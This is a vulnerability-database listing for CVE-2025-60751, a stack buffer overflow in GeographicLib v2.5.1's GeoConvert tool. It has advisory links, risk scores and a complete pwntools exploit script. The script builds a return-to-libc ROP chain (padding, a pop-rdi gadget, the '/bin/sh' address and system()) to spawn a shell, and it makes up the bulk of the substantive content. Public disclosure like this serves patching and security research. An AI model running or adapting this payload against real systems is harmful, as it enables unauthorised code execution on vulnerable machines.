Lucene search
K

GeographicLib v2.5.1 - stack buffer overflow

🗓️ 29 Apr 2026 00:00:00Reported by rosarioType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 67 Views

GeographicLib v2.5.1 suffers a stack buffer overflow (CVE-2025-60751) with a crafted exploit.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-60751
16 Oct 202523:39
githubexploit
GithubExploit
Exploit for CVE-2025-60751
4 May 202601:28
githubexploit
Circl
CVE-2025-60751
16 Oct 202521:39
circl
CNNVD
GeographicLib 安全漏洞
21 Oct 202500:00
cnnvd
CVE
CVE-2025-60751
21 Oct 202500:00
cve
Cvelist
CVE-2025-60751
21 Oct 202500:00
cvelist
Debian
[SECURITY] [DLA 4361-1] geographiclib security update
3 Nov 202522:12
debian
Debian CVE
CVE-2025-60751
21 Oct 202500:00
debiancve
Tenable Nessus
Debian dla-4361 : geographiclib-doc - security update
3 Nov 202500:00
nessus
Tenable Nessus
Fedora 42 : GeographicLib (2025-65e3f233bf)
7 Nov 202500:00
nessus
Rows per page
Exploit title: GeographicLib v2.5.1 - stack buffer overflow
Date of discovery: 20 August 2025
Exploit Author: Me zer0matt (Rosario Matteo Grammatico)
<https://github.com/zer0matt>
Vendor homepage: https://github.com/geographiclib/
Software link: https://github.com/geographiclib/geographiclib
Affected version: GeographicLib <= v2.5.1
Tested on: Kali Linux 6.12.25-amd64 (Virtual Machine)
CVE id: CVE-2025-60751
Github issue: https://github.com/geographiclib/geographiclib/issues/43
Exploit repository: https://github.com/zer0matt/CVE-2025-60751
Blog post: https://zer0matt.github.io/CVE-2025-60751/


from pwn import *

# --- INITIAL CONFIG ---
binary_path = "./GeoConvert"
elf = ELF(binary_path)
context.binary = elf
context.arch = 'amd64'

# --- REPLACE THE ADDRESSES WITH YOUR OWN ONES ---
pop_rdi = 0x000055555558BEFD
ret_gadget = 0x000055555558A016
system_addr = 0x7ffff7a5d110
binsh_addr = 0x7ffff7bb1ea4
exit_addr = 0x7ffff7a4c340

# --- PAYLOAD ---
offset = 136
payload = b"A" * offset
payload += p64(ret_gadget)   # stack align
payload += p64(pop_rdi)      # pop rdi; ret
payload += p64(binsh_addr)   # "/bin/sh" address
payload += p64(system_addr)  # system("/bin/sh")
payload += p64(exit_addr)    # exit


io = process(binary_path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=1"})
io.sendline(payload)
io.interactive()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Apr 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 3.17.5
EPSS0.00617
SSVC
67